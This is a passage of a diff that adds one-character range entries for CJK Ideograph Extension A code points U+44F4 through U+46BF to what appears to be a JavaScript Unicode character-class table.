+ ["\u44F4", "\u44F4"], /* CJK Ideograph Extension A */
+ ["\u44F5", "\u44F5"], /* CJK Ideograph Extension A */
+ ["\u44F6", "\u44F6"], /* CJK Ideograph Extension A */
+ ["\u44F7", "\u44F7"], /* CJK Ideograph Extension A */
+ ["\u44F8", "\u44F8"], /* CJK Ideograph Extension A */
+ ["\u44F9", "\u44F9"], /* CJK Ideograph Extension A */
+ ["\u44FA", "\u44FA"], /* CJK Ideograph Extension A */
+ ["\u44FB", "\u44FB"], /* CJK Ideograph Extension A */
+ ["\u44FC", "\u44FC"], /* CJK Ideograph Extension A */
+ ["\u44FD", "\u44FD"], /* CJK Ideograph Extension A */
+ ["\u44FE", "\u44FE"], /* CJK Ideograph Extension A */
+ ["\u44FF", "\u44FF"], /* CJK Ideograph Extension A */
+ ["\u4500", "\u4500"], /* CJK Ideograph Extension A */
+ ["\u4501", "\u4501"], /* CJK Ideograph Extension A */
+ ["\u4502", "\u4502"], /* CJK Ideograph Extension A */
+ ["\u4503", "\u4503"], /* CJK Ideograph Extension A */
+ ["\u4504", "\u4504"], /* CJK Ideograph Extension A */
+ ["\u4505", "\u4505"], /* CJK Ideograph Extension A */
+ ["\u4506", "\u4506"], /* CJK Ideograph Extension A */
+ ["\u4507", "\u4507"], /* CJK Ideograph Extension A */
+ ["\u4508", "\u4508"], /* CJK Ideograph Extension A */
+ ["\u4509", "\u4509"], /* CJK Ideograph Extension A */
+ ["\u450A", "\u450A"], /* CJK Ideograph Extension A */
+ ["\u450B", "\u450B"], /* CJK Ideograph Extension A */
+ ["\u450C", "\u450C"], /* CJK Ideograph Extension A */
+ ["\u450D", "\u450D"], /* CJK Ideograph Extension A */
+ ["\u450E", "\u450E"], /* CJK Ideograph Extension A */
+ ["\u450F", "\u450F"], /* CJK Ideograph Extension A */
+ ["\u4510", "\u4510"], /* CJK Ideograph Extension A */
+ ["\u4511", "\u4511"], /* CJK Ideograph Extension A */
+ ["\u4512", "\u4512"], /* CJK Ideograph Extension A */
+ ["\u4513", "\u4513"], /* CJK Ideograph Extension A */
+ ["\u4514", "\u4514"], /* CJK Ideograph Extension A */
+ ["\u4515", "\u4515"], /* CJK Ideograph Extension A */
+ ["\u4516", "\u4516"], /* CJK Ideograph Extension A */
+ ["\u4517", "\u4517"], /* CJK Ideograph Extension A */
+ ["\u4518", "\u4518"], /* CJK Ideograph Extension A */
+ ["\u4519", "\u4519"], /* CJK Ideograph Extension A */
+ ["\u451A", "\u451A"], /* CJK Ideograph Extension A */
+ ["\u451B", "\u451B"], /* CJK Ideograph Extension A */
+ ["\u451C", "\u451C"], /* CJK Ideograph Extension A */
+ ["\u451D", "\u451D"], /* CJK Ideograph Extension A */
+ ["\u451E", "\u451E"], /* CJK Ideograph Extension A */
+ ["\u451F", "\u451F"], /* CJK Ideograph Extension A */
+ ["\u4520", "\u4520"], /* CJK Ideograph Extension A */
+ ["\u4521", "\u4521"], /* CJK Ideograph Extension A */
+ ["\u4522", "\u4522"], /* CJK Ideograph Extension A */
+ ["\u4523", "\u4523"], /* CJK Ideograph Extension A */
+ ["\u4524", "\u4524"], /* CJK Ideograph Extension A */
+ ["\u4525", "\u4525"], /* CJK Ideograph Extension A */
+ ["\u4526", "\u4526"], /* CJK Ideograph Extension A */
+ ["\u4527", "\u4527"], /* CJK Ideograph Extension A */
+ ["\u4528", "\u4528"], /* CJK Ideograph Extension A */
+ ["\u4529", "\u4529"], /* CJK Ideograph Extension A */
+ ["\u452A", "\u452A"], /* CJK Ideograph Extension A */
+ ["\u452B", "\u452B"], /* CJK Ideograph Extension A */
+ ["\u452C", "\u452C"], /* CJK Ideograph Extension A */
+ ["\u452D", "\u452D"], /* CJK Ideograph Extension A */
+ ["\u452E", "\u452E"], /* CJK Ideograph Extension A */
+ ["\u452F", "\u452F"], /* CJK Ideograph Extension A */
+ ["\u4530", "\u4530"], /* CJK Ideograph Extension A */
+ ["\u4531", "\u4531"], /* CJK Ideograph Extension A */
+ ["\u4532", "\u4532"], /* CJK Ideograph Extension A */
+ ["\u4533", "\u4533"], /* CJK Ideograph Extension A */
+ ["\u4534", "\u4534"], /* CJK Ideograph Extension A */
+ ["\u4535", "\u4535"], /* CJK Ideograph Extension A */
+ ["\u4536", "\u4536"], /* CJK Ideograph Extension A */
+ ["\u4537", "\u4537"], /* CJK Ideograph Extension A */
+ ["\u4538", "\u4538"], /* CJK Ideograph Extension A */
+ ["\u4539", "\u4539"], /* CJK Ideograph Extension A */
+ ["\u453A", "\u453A"], /* CJK Ideograph Extension A */
+ ["\u453B", "\u453B"], /* CJK Ideograph Extension A */
+ ["\u453C", "\u453C"], /* CJK Ideograph Extension A */
+ ["\u453D", "\u453D"], /* CJK Ideograph Extension A */
+ ["\u453E", "\u453E"], /* CJK Ideograph Extension A */
+ ["\u453F", "\u453F"], /* CJK Ideograph Extension A */
+ ["\u4540", "\u4540"], /* CJK Ideograph Extension A */
+ ["\u4541", "\u4541"], /* CJK Ideograph Extension A */
+ ["\u4542", "\u4542"], /* CJK Ideograph Extension A */
+ ["\u4543", "\u4543"], /* CJK Ideograph Extension A */
+ ["\u4544", "\u4544"], /* CJK Ideograph Extension A */
+ ["\u4545", "\u4545"], /* CJK Ideograph Extension A */
+ ["\u4546", "\u4546"], /* CJK Ideograph Extension A */
+ ["\u4547", "\u4547"], /* CJK Ideograph Extension A */
+ ["\u4548", "\u4548"], /* CJK Ideograph Extension A */
+ ["\u4549", "\u4549"], /* CJK Ideograph Extension A */
+ ["\u454A", "\u454A"], /* CJK Ideograph Extension A */
+ ["\u454B", "\u454B"], /* CJK Ideograph Extension A */
+ ["\u454C", "\u454C"], /* CJK Ideograph Extension A */
+ ["\u454D", "\u454D"], /* CJK Ideograph Extension A */
+ ["\u454E", "\u454E"], /* CJK Ideograph Extension A */
+ ["\u454F", "\u454F"], /* CJK Ideograph Extension A */
+ ["\u4550", "\u4550"], /* CJK Ideograph Extension A */
+ ["\u4551", "\u4551"], /* CJK Ideograph Extension A */
+ ["\u4552", "\u4552"], /* CJK Ideograph Extension A */
+ ["\u4553", "\u4553"], /* CJK Ideograph Extension A */
+ ["\u4554", "\u4554"], /* CJK Ideograph Extension A */
+ ["\u4555", "\u4555"], /* CJK Ideograph Extension A */
+ ["\u4556", "\u4556"], /* CJK Ideograph Extension A */
+ ["\u4557", "\u4557"], /* CJK Ideograph Extension A */
+ ["\u4558", "\u4558"], /* CJK Ideograph Extension A */
+ ["\u4559", "\u4559"], /* CJK Ideograph Extension A */
+ ["\u455A", "\u455A"], /* CJK Ideograph Extension A */
+ ["\u455B", "\u455B"], /* CJK Ideograph Extension A */
+ ["\u455C", "\u455C"], /* CJK Ideograph Extension A */
+ ["\u455D", "\u455D"], /* CJK Ideograph Extension A */
+ ["\u455E", "\u455E"], /* CJK Ideograph Extension A */
+ ["\u455F", "\u455F"], /* CJK Ideograph Extension A */
+ ["\u4560", "\u4560"], /* CJK Ideograph Extension A */
+ ["\u4561", "\u4561"], /* CJK Ideograph Extension A */
+ ["\u4562", "\u4562"], /* CJK Ideograph Extension A */
+ ["\u4563", "\u4563"], /* CJK Ideograph Extension A */
+ ["\u4564", "\u4564"], /* CJK Ideograph Extension A */
+ ["\u4565", "\u4565"], /* CJK Ideograph Extension A */
+ ["\u4566", "\u4566"], /* CJK Ideograph Extension A */
+ ["\u4567", "\u4567"], /* CJK Ideograph Extension A */
+ ["\u4568", "\u4568"], /* CJK Ideograph Extension A */
+ ["\u4569", "\u4569"], /* CJK Ideograph Extension A */
+ ["\u456A", "\u456A"], /* CJK Ideograph Extension A */
+ ["\u456B", "\u456B"], /* CJK Ideograph Extension A */
+ ["\u456C", "\u456C"], /* CJK Ideograph Extension A */
+ ["\u456D", "\u456D"], /* CJK Ideograph Extension A */
+ ["\u456E", "\u456E"], /* CJK Ideograph Extension A */
+ ["\u456F", "\u456F"], /* CJK Ideograph Extension A */
+ ["\u4570", "\u4570"], /* CJK Ideograph Extension A */
+ ["\u4571", "\u4571"], /* CJK Ideograph Extension A */
+ ["\u4572", "\u4572"], /* CJK Ideograph Extension A */
+ ["\u4573", "\u4573"], /* CJK Ideograph Extension A */
+ ["\u4574", "\u4574"], /* CJK Ideograph Extension A */
+ ["\u4575", "\u4575"], /* CJK Ideograph Extension A */
+ ["\u4576", "\u4576"], /* CJK Ideograph Extension A */
+ ["\u4577", "\u4577"], /* CJK Ideograph Extension A */
+ ["\u4578", "\u4578"], /* CJK Ideograph Extension A */
+ ["\u4579", "\u4579"], /* CJK Ideograph Extension A */
+ ["\u457A", "\u457A"], /* CJK Ideograph Extension A */
+ ["\u457B", "\u457B"], /* CJK Ideograph Extension A */
+ ["\u457C", "\u457C"], /* CJK Ideograph Extension A */
+ ["\u457D", "\u457D"], /* CJK Ideograph Extension A */
+ ["\u457E", "\u457E"], /* CJK Ideograph Extension A */
+ ["\u457F", "\u457F"], /* CJK Ideograph Extension A */
+ ["\u4580", "\u4580"], /* CJK Ideograph Extension A */
+ ["\u4581", "\u4581"], /* CJK Ideograph Extension A */
+ ["\u4582", "\u4582"], /* CJK Ideograph Extension A */
+ ["\u4583", "\u4583"], /* CJK Ideograph Extension A */
+ ["\u4584", "\u4584"], /* CJK Ideograph Extension A */
+ ["\u4585", "\u4585"], /* CJK Ideograph Extension A */
+ ["\u4586", "\u4586"], /* CJK Ideograph Extension A */
+ ["\u4587", "\u4587"], /* CJK Ideograph Extension A */
+ ["\u4588", "\u4588"], /* CJK Ideograph Extension A */
+ ["\u4589", "\u4589"], /* CJK Ideograph Extension A */
+ ["\u458A", "\u458A"], /* CJK Ideograph Extension A */
+ ["\u458B", "\u458B"], /* CJK Ideograph Extension A */
+ ["\u458C", "\u458C"], /* CJK Ideograph Extension A */
+ ["\u458D", "\u458D"], /* CJK Ideograph Extension A */
+ ["\u458E", "\u458E"], /* CJK Ideograph Extension A */
+ ["\u458F", "\u458F"], /* CJK Ideograph Extension A */
+ ["\u4590", "\u4590"], /* CJK Ideograph Extension A */
+ ["\u4591", "\u4591"], /* CJK Ideograph Extension A */
+ ["\u4592", "\u4592"], /* CJK Ideograph Extension A */
+ ["\u4593", "\u4593"], /* CJK Ideograph Extension A */
+ ["\u4594", "\u4594"], /* CJK Ideograph Extension A */
+ ["\u4595", "\u4595"], /* CJK Ideograph Extension A */
+ ["\u4596", "\u4596"], /* CJK Ideograph Extension A */
+ ["\u4597", "\u4597"], /* CJK Ideograph Extension A */
+ ["\u4598", "\u4598"], /* CJK Ideograph Extension A */
+ ["\u4599", "\u4599"], /* CJK Ideograph Extension A */
+ ["\u459A", "\u459A"], /* CJK Ideograph Extension A */
+ ["\u459B", "\u459B"], /* CJK Ideograph Extension A */
+ ["\u459C", "\u459C"], /* CJK Ideograph Extension A */
+ ["\u459D", "\u459D"], /* CJK Ideograph Extension A */
+ ["\u459E", "\u459E"], /* CJK Ideograph Extension A */
+ ["\u459F", "\u459F"], /* CJK Ideograph Extension A */
+ ["\u45A0", "\u45A0"], /* CJK Ideograph Extension A */
+ ["\u45A1", "\u45A1"], /* CJK Ideograph Extension A */
+ ["\u45A2", "\u45A2"], /* CJK Ideograph Extension A */
+ ["\u45A3", "\u45A3"], /* CJK Ideograph Extension A */
+ ["\u45A4", "\u45A4"], /* CJK Ideograph Extension A */
+ ["\u45A5", "\u45A5"], /* CJK Ideograph Extension A */
+ ["\u45A6", "\u45A6"], /* CJK Ideograph Extension A */
+ ["\u45A7", "\u45A7"], /* CJK Ideograph Extension A */
+ ["\u45A8", "\u45A8"], /* CJK Ideograph Extension A */
+ ["\u45A9", "\u45A9"], /* CJK Ideograph Extension A */
+ ["\u45AA", "\u45AA"], /* CJK Ideograph Extension A */
+ ["\u45AB", "\u45AB"], /* CJK Ideograph Extension A */
+ ["\u45AC", "\u45AC"], /* CJK Ideograph Extension A */
+ ["\u45AD", "\u45AD"], /* CJK Ideograph Extension A */
+ ["\u45AE", "\u45AE"], /* CJK Ideograph Extension A */
+ ["\u45AF", "\u45AF"], /* CJK Ideograph Extension A */
+ ["\u45B0", "\u45B0"], /* CJK Ideograph Extension A */
+ ["\u45B1", "\u45B1"], /* CJK Ideograph Extension A */
+ ["\u45B2", "\u45B2"], /* CJK Ideograph Extension A */
+ ["\u45B3", "\u45B3"], /* CJK Ideograph Extension A */
+ ["\u45B4", "\u45B4"], /* CJK Ideograph Extension A */
+ ["\u45B5", "\u45B5"], /* CJK Ideograph Extension A */
+ ["\u45B6", "\u45B6"], /* CJK Ideograph Extension A */
+ ["\u45B7", "\u45B7"], /* CJK Ideograph Extension A */
+ ["\u45B8", "\u45B8"], /* CJK Ideograph Extension A */
+ ["\u45B9", "\u45B9"], /* CJK Ideograph Extension A */
+ ["\u45BA", "\u45BA"], /* CJK Ideograph Extension A */
+ ["\u45BB", "\u45BB"], /* CJK Ideograph Extension A */
+ ["\u45BC", "\u45BC"], /* CJK Ideograph Extension A */
+ ["\u45BD", "\u45BD"], /* CJK Ideograph Extension A */
+ ["\u45BE", "\u45BE"], /* CJK Ideograph Extension A */
+ ["\u45BF", "\u45BF"], /* CJK Ideograph Extension A */
+ ["\u45C0", "\u45C0"], /* CJK Ideograph Extension A */
+ ["\u45C1", "\u45C1"], /* CJK Ideograph Extension A */
+ ["\u45C2", "\u45C2"], /* CJK Ideograph Extension A */
+ ["\u45C3", "\u45C3"], /* CJK Ideograph Extension A */
+ ["\u45C4", "\u45C4"], /* CJK Ideograph Extension A */
+ ["\u45C5", "\u45C5"], /* CJK Ideograph Extension A */
+ ["\u45C6", "\u45C6"], /* CJK Ideograph Extension A */
+ ["\u45C7", "\u45C7"], /* CJK Ideograph Extension A */
+ ["\u45C8", "\u45C8"], /* CJK Ideograph Extension A */
+ ["\u45C9", "\u45C9"], /* CJK Ideograph Extension A */
+ ["\u45CA", "\u45CA"], /* CJK Ideograph Extension A */
+ ["\u45CB", "\u45CB"], /* CJK Ideograph Extension A */
+ ["\u45CC", "\u45CC"], /* CJK Ideograph Extension A */
+ ["\u45CD", "\u45CD"], /* CJK Ideograph Extension A */
+ ["\u45CE", "\u45CE"], /* CJK Ideograph Extension A */
+ ["\u45CF", "\u45CF"], /* CJK Ideograph Extension A */
+ ["\u45D0", "\u45D0"], /* CJK Ideograph Extension A */
+ ["\u45D1", "\u45D1"], /* CJK Ideograph Extension A */
+ ["\u45D2", "\u45D2"], /* CJK Ideograph Extension A */
+ ["\u45D3", "\u45D3"], /* CJK Ideograph Extension A */
+ ["\u45D4", "\u45D4"], /* CJK Ideograph Extension A */
+ ["\u45D5", "\u45D5"], /* CJK Ideograph Extension A */
+ ["\u45D6", "\u45D6"], /* CJK Ideograph Extension A */
+ ["\u45D7", "\u45D7"], /* CJK Ideograph Extension A */
+ ["\u45D8", "\u45D8"], /* CJK Ideograph Extension A */
+ ["\u45D9", "\u45D9"], /* CJK Ideograph Extension A */
+ ["\u45DA", "\u45DA"], /* CJK Ideograph Extension A */
+ ["\u45DB", "\u45DB"], /* CJK Ideograph Extension A */
+ ["\u45DC", "\u45DC"], /* CJK Ideograph Extension A */
+ ["\u45DD", "\u45DD"], /* CJK Ideograph Extension A */
+ ["\u45DE", "\u45DE"], /* CJK Ideograph Extension A */
+ ["\u45DF", "\u45DF"], /* CJK Ideograph Extension A */
+ ["\u45E0", "\u45E0"], /* CJK Ideograph Extension A */
+ ["\u45E1", "\u45E1"], /* CJK Ideograph Extension A */
+ ["\u45E2", "\u45E2"], /* CJK Ideograph Extension A */
+ ["\u45E3", "\u45E3"], /* CJK Ideograph Extension A */
+ ["\u45E4", "\u45E4"], /* CJK Ideograph Extension A */
+ ["\u45E5", "\u45E5"], /* CJK Ideograph Extension A */
+ ["\u45E6", "\u45E6"], /* CJK Ideograph Extension A */
+ ["\u45E7", "\u45E7"], /* CJK Ideograph Extension A */
+ ["\u45E8", "\u45E8"], /* CJK Ideograph Extension A */
+ ["\u45E9", "\u45E9"], /* CJK Ideograph Extension A */
+ ["\u45EA", "\u45EA"], /* CJK Ideograph Extension A */
+ ["\u45EB", "\u45EB"], /* CJK Ideograph Extension A */
+ ["\u45EC", "\u45EC"], /* CJK Ideograph Extension A */
+ ["\u45ED", "\u45ED"], /* CJK Ideograph Extension A */
+ ["\u45EE", "\u45EE"], /* CJK Ideograph Extension A */
+ ["\u45EF", "\u45EF"], /* CJK Ideograph Extension A */
+ ["\u45F0", "\u45F0"], /* CJK Ideograph Extension A */
+ ["\u45F1", "\u45F1"], /* CJK Ideograph Extension A */
+ ["\u45F2", "\u45F2"], /* CJK Ideograph Extension A */
+ ["\u45F3", "\u45F3"], /* CJK Ideograph Extension A */
+ ["\u45F4", "\u45F4"], /* CJK Ideograph Extension A */
+ ["\u45F5", "\u45F5"], /* CJK Ideograph Extension A */
+ ["\u45F6", "\u45F6"], /* CJK Ideograph Extension A */
+ ["\u45F7", "\u45F7"], /* CJK Ideograph Extension A */
+ ["\u45F8", "\u45F8"], /* CJK Ideograph Extension A */
+ ["\u45F9", "\u45F9"], /* CJK Ideograph Extension A */
+ ["\u45FA", "\u45FA"], /* CJK Ideograph Extension A */
+ ["\u45FB", "\u45FB"], /* CJK Ideograph Extension A */
+ ["\u45FC", "\u45FC"], /* CJK Ideograph Extension A */
+ ["\u45FD", "\u45FD"], /* CJK Ideograph Extension A */
+ ["\u45FE", "\u45FE"], /* CJK Ideograph Extension A */
+ ["\u45FF", "\u45FF"], /* CJK Ideograph Extension A */
+ ["\u4600", "\u4600"], /* CJK Ideograph Extension A */
+ ["\u4601", "\u4601"], /* CJK Ideograph Extension A */
+ ["\u4602", "\u4602"], /* CJK Ideograph Extension A */
+ ["\u4603", "\u4603"], /* CJK Ideograph Extension A */
+ ["\u4604", "\u4604"], /* CJK Ideograph Extension A */
+ ["\u4605", "\u4605"], /* CJK Ideograph Extension A */
+ ["\u4606", "\u4606"], /* CJK Ideograph Extension A */
+ ["\u4607", "\u4607"], /* CJK Ideograph Extension A */
+ ["\u4608", "\u4608"], /* CJK Ideograph Extension A */
+ ["\u4609", "\u4609"], /* CJK Ideograph Extension A */
+ ["\u460A", "\u460A"], /* CJK Ideograph Extension A */
+ ["\u460B", "\u460B"], /* CJK Ideograph Extension A */
+ ["\u460C", "\u460C"], /* CJK Ideograph Extension A */
+ ["\u460D", "\u460D"], /* CJK Ideograph Extension A */
+ ["\u460E", "\u460E"], /* CJK Ideograph Extension A */
+ ["\u460F", "\u460F"], /* CJK Ideograph Extension A */
+ ["\u4610", "\u4610"], /* CJK Ideograph Extension A */
+ ["\u4611", "\u4611"], /* CJK Ideograph Extension A */
+ ["\u4612", "\u4612"], /* CJK Ideograph Extension A */
+ ["\u4613", "\u4613"], /* CJK Ideograph Extension A */
+ ["\u4614", "\u4614"], /* CJK Ideograph Extension A */
+ ["\u4615", "\u4615"], /* CJK Ideograph Extension A */
+ ["\u4616", "\u4616"], /* CJK Ideograph Extension A */
+ ["\u4617", "\u4617"], /* CJK Ideograph Extension A */
+ ["\u4618", "\u4618"], /* CJK Ideograph Extension A */
+ ["\u4619", "\u4619"], /* CJK Ideograph Extension A */
+ ["\u461A", "\u461A"], /* CJK Ideograph Extension A */
+ ["\u461B", "\u461B"], /* CJK Ideograph Extension A */
+ ["\u461C", "\u461C"], /* CJK Ideograph Extension A */
+ ["\u461D", "\u461D"], /* CJK Ideograph Extension A */
+ ["\u461E", "\u461E"], /* CJK Ideograph Extension A */
+ ["\u461F", "\u461F"], /* CJK Ideograph Extension A */
+ ["\u4620", "\u4620"], /* CJK Ideograph Extension A */
+ ["\u4621", "\u4621"], /* CJK Ideograph Extension A */
+ ["\u4622", "\u4622"], /* CJK Ideograph Extension A */
+ ["\u4623", "\u4623"], /* CJK Ideograph Extension A */
+ ["\u4624", "\u4624"], /* CJK Ideograph Extension A */
+ ["\u4625", "\u4625"], /* CJK Ideograph Extension A */
+ ["\u4626", "\u4626"], /* CJK Ideograph Extension A */
+ ["\u4627", "\u4627"], /* CJK Ideograph Extension A */
+ ["\u4628", "\u4628"], /* CJK Ideograph Extension A */
+ ["\u4629", "\u4629"], /* CJK Ideograph Extension A */
+ ["\u462A", "\u462A"], /* CJK Ideograph Extension A */
+ ["\u462B", "\u462B"], /* CJK Ideograph Extension A */
+ ["\u462C", "\u462C"], /* CJK Ideograph Extension A */
+ ["\u462D", "\u462D"], /* CJK Ideograph Extension A */
+ ["\u462E", "\u462E"], /* CJK Ideograph Extension A */
+ ["\u462F", "\u462F"], /* CJK Ideograph Extension A */
+ ["\u4630", "\u4630"], /* CJK Ideograph Extension A */
+ ["\u4631", "\u4631"], /* CJK Ideograph Extension A */
+ ["\u4632", "\u4632"], /* CJK Ideograph Extension A */
+ ["\u4633", "\u4633"], /* CJK Ideograph Extension A */
+ ["\u4634", "\u4634"], /* CJK Ideograph Extension A */
+ ["\u4635", "\u4635"], /* CJK Ideograph Extension A */
+ ["\u4636", "\u4636"], /* CJK Ideograph Extension A */
+ ["\u4637", "\u4637"], /* CJK Ideograph Extension A */
+ ["\u4638", "\u4638"], /* CJK Ideograph Extension A */
+ ["\u4639", "\u4639"], /* CJK Ideograph Extension A */
+ ["\u463A", "\u463A"], /* CJK Ideograph Extension A */
+ ["\u463B", "\u463B"], /* CJK Ideograph Extension A */
+ ["\u463C", "\u463C"], /* CJK Ideograph Extension A */
+ ["\u463D", "\u463D"], /* CJK Ideograph Extension A */
+ ["\u463E", "\u463E"], /* CJK Ideograph Extension A */
+ ["\u463F", "\u463F"], /* CJK Ideograph Extension A */
+ ["\u4640", "\u4640"], /* CJK Ideograph Extension A */
+ ["\u4641", "\u4641"], /* CJK Ideograph Extension A */
+ ["\u4642", "\u4642"], /* CJK Ideograph Extension A */
+ ["\u4643", "\u4643"], /* CJK Ideograph Extension A */
+ ["\u4644", "\u4644"], /* CJK Ideograph Extension A */
+ ["\u4645", "\u4645"], /* CJK Ideograph Extension A */
+ ["\u4646", "\u4646"], /* CJK Ideograph Extension A */
+ ["\u4647", "\u4647"], /* CJK Ideograph Extension A */
+ ["\u4648", "\u4648"], /* CJK Ideograph Extension A */
+ ["\u4649", "\u4649"], /* CJK Ideograph Extension A */
+ ["\u464A", "\u464A"], /* CJK Ideograph Extension A */
+ ["\u464B", "\u464B"], /* CJK Ideograph Extension A */
+ ["\u464C", "\u464C"], /* CJK Ideograph Extension A */
+ ["\u464D", "\u464D"], /* CJK Ideograph Extension A */
+ ["\u464E", "\u464E"], /* CJK Ideograph Extension A */
+ ["\u464F", "\u464F"], /* CJK Ideograph Extension A */
+ ["\u4650", "\u4650"], /* CJK Ideograph Extension A */
+ ["\u4651", "\u4651"], /* CJK Ideograph Extension A */
+ ["\u4652", "\u4652"], /* CJK Ideograph Extension A */
+ ["\u4653", "\u4653"], /* CJK Ideograph Extension A */
+ ["\u4654", "\u4654"], /* CJK Ideograph Extension A */
+ ["\u4655", "\u4655"], /* CJK Ideograph Extension A */
+ ["\u4656", "\u4656"], /* CJK Ideograph Extension A */
+ ["\u4657", "\u4657"], /* CJK Ideograph Extension A */
+ ["\u4658", "\u4658"], /* CJK Ideograph Extension A */
+ ["\u4659", "\u4659"], /* CJK Ideograph Extension A */
+ ["\u465A", "\u465A"], /* CJK Ideograph Extension A */
+ ["\u465B", "\u465B"], /* CJK Ideograph Extension A */
+ ["\u465C", "\u465C"], /* CJK Ideograph Extension A */
+ ["\u465D", "\u465D"], /* CJK Ideograph Extension A */
+ ["\u465E", "\u465E"], /* CJK Ideograph Extension A */
+ ["\u465F", "\u465F"], /* CJK Ideograph Extension A */
+ ["\u4660", "\u4660"], /* CJK Ideograph Extension A */
+ ["\u4661", "\u4661"], /* CJK Ideograph Extension A */
+ ["\u4662", "\u4662"], /* CJK Ideograph Extension A */
+ ["\u4663", "\u4663"], /* CJK Ideograph Extension A */
+ ["\u4664", "\u4664"], /* CJK Ideograph Extension A */
+ ["\u4665", "\u4665"], /* CJK Ideograph Extension A */
+ ["\u4666", "\u4666"], /* CJK Ideograph Extension A */
+ ["\u4667", "\u4667"], /* CJK Ideograph Extension A */
+ ["\u4668", "\u4668"], /* CJK Ideograph Extension A */
+ ["\u4669", "\u4669"], /* CJK Ideograph Extension A */
+ ["\u466A", "\u466A"], /* CJK Ideograph Extension A */
+ ["\u466B", "\u466B"], /* CJK Ideograph Extension A */
+ ["\u466C", "\u466C"], /* CJK Ideograph Extension A */
+ ["\u466D", "\u466D"], /* CJK Ideograph Extension A */
+ ["\u466E", "\u466E"], /* CJK Ideograph Extension A */
+ ["\u466F", "\u466F"], /* CJK Ideograph Extension A */
+ ["\u4670", "\u4670"], /* CJK Ideograph Extension A */
+ ["\u4671", "\u4671"], /* CJK Ideograph Extension A */
+ ["\u4672", "\u4672"], /* CJK Ideograph Extension A */
+ ["\u4673", "\u4673"], /* CJK Ideograph Extension A */
+ ["\u4674", "\u4674"], /* CJK Ideograph Extension A */
+ ["\u4675", "\u4675"], /* CJK Ideograph Extension A */
+ ["\u4676", "\u4676"], /* CJK Ideograph Extension A */
+ ["\u4677", "\u4677"], /* CJK Ideograph Extension A */
+ ["\u4678", "\u4678"], /* CJK Ideograph Extension A */
+ ["\u4679", "\u4679"], /* CJK Ideograph Extension A */
+ ["\u467A", "\u467A"], /* CJK Ideograph Extension A */
+ ["\u467B", "\u467B"], /* CJK Ideograph Extension A */
+ ["\u467C", "\u467C"], /* CJK Ideograph Extension A */
+ ["\u467D", "\u467D"], /* CJK Ideograph Extension A */
+ ["\u467E", "\u467E"], /* CJK Ideograph Extension A */
+ ["\u467F", "\u467F"], /* CJK Ideograph Extension A */
+ ["\u4680", "\u4680"], /* CJK Ideograph Extension A */
+ ["\u4681", "\u4681"], /* CJK Ideograph Extension A */
+ ["\u4682", "\u4682"], /* CJK Ideograph Extension A */
+ ["\u4683", "\u4683"], /* CJK Ideograph Extension A */
+ ["\u4684", "\u4684"], /* CJK Ideograph Extension A */
+ ["\u4685", "\u4685"], /* CJK Ideograph Extension A */
+ ["\u4686", "\u4686"], /* CJK Ideograph Extension A */
+ ["\u4687", "\u4687"], /* CJK Ideograph Extension A */
+ ["\u4688", "\u4688"], /* CJK Ideograph Extension A */
+ ["\u4689", "\u4689"], /* CJK Ideograph Extension A */
+ ["\u468A", "\u468A"], /* CJK Ideograph Extension A */
+ ["\u468B", "\u468B"], /* CJK Ideograph Extension A */
+ ["\u468C", "\u468C"], /* CJK Ideograph Extension A */
+ ["\u468D", "\u468D"], /* CJK Ideograph Extension A */
+ ["\u468E", "\u468E"], /* CJK Ideograph Extension A */
+ ["\u468F", "\u468F"], /* CJK Ideograph Extension A */
+ ["\u4690", "\u4690"], /* CJK Ideograph Extension A */
+ ["\u4691", "\u4691"], /* CJK Ideograph Extension A */
+ ["\u4692", "\u4692"], /* CJK Ideograph Extension A */
+ ["\u4693", "\u4693"], /* CJK Ideograph Extension A */
+ ["\u4694", "\u4694"], /* CJK Ideograph Extension A */
+ ["\u4695", "\u4695"], /* CJK Ideograph Extension A */
+ ["\u4696", "\u4696"], /* CJK Ideograph Extension A */
+ ["\u4697", "\u4697"], /* CJK Ideograph Extension A */
+ ["\u4698", "\u4698"], /* CJK Ideograph Extension A */
+ ["\u4699", "\u4699"], /* CJK Ideograph Extension A */
+ ["\u469A", "\u469A"], /* CJK Ideograph Extension A */
+ ["\u469B", "\u469B"], /* CJK Ideograph Extension A */
+ ["\u469C", "\u469C"], /* CJK Ideograph Extension A */
+ ["\u469D", "\u469D"], /* CJK Ideograph Extension A */
+ ["\u469E", "\u469E"], /* CJK Ideograph Extension A */
+ ["\u469F", "\u469F"], /* CJK Ideograph Extension A */
+ ["\u46A0", "\u46A0"], /* CJK Ideograph Extension A */
+ ["\u46A1", "\u46A1"], /* CJK Ideograph Extension A */
+ ["\u46A2", "\u46A2"], /* CJK Ideograph Extension A */
+ ["\u46A3", "\u46A3"], /* CJK Ideograph Extension A */
+ ["\u46A4", "\u46A4"], /* CJK Ideograph Extension A */
+ ["\u46A5", "\u46A5"], /* CJK Ideograph Extension A */
+ ["\u46A6", "\u46A6"], /* CJK Ideograph Extension A */
+ ["\u46A7", "\u46A7"], /* CJK Ideograph Extension A */
+ ["\u46A8", "\u46A8"], /* CJK Ideograph Extension A */
+ ["\u46A9", "\u46A9"], /* CJK Ideograph Extension A */
+ ["\u46AA", "\u46AA"], /* CJK Ideograph Extension A */
+ ["\u46AB", "\u46AB"], /* CJK Ideograph Extension A */
+ ["\u46AC", "\u46AC"], /* CJK Ideograph Extension A */
+ ["\u46AD", "\u46AD"], /* CJK Ideograph Extension A */
+ ["\u46AE", "\u46AE"], /* CJK Ideograph Extension A */
+ ["\u46AF", "\u46AF"], /* CJK Ideograph Extension A */
+ ["\u46B0", "\u46B0"], /* CJK Ideograph Extension A */
+ ["\u46B1", "\u46B1"], /* CJK Ideograph Extension A */
+ ["\u46B2", "\u46B2"], /* CJK Ideograph Extension A */
+ ["\u46B3", "\u46B3"], /* CJK Ideograph Extension A */
+ ["\u46B4", "\u46B4"], /* CJK Ideograph Extension A */
+ ["\u46B5", "\u46B5"], /* CJK Ideograph Extension A */
+ ["\u46B6", "\u46B6"], /* CJK Ideograph Extension A */
+ ["\u46B7", "\u46B7"], /* CJK Ideograph Extension A */
+ ["\u46B8", "\u46B8"], /* CJK Ideograph Extension A */
+ ["\u46B9", "\u46B9"], /* CJK Ideograph Extension A */
+ ["\u46BA", "\u46BA"], /* CJK Ideograph Extension A */
+ ["\u46BB", "\u46BB"], /* CJK Ideograph Extension A */
+ ["\u46BC", "\u46BC"], /* CJK Ideograph Extension A */
+ ["\u46BD", "\u46BD"], /* CJK Ideograph Extension A */
+ ["\u46BE", "\u46BE"], /* CJK Ideograph Extension A */
+ ["\u46BF", "\u46BF"], /* CJK Ideograph Extension A */
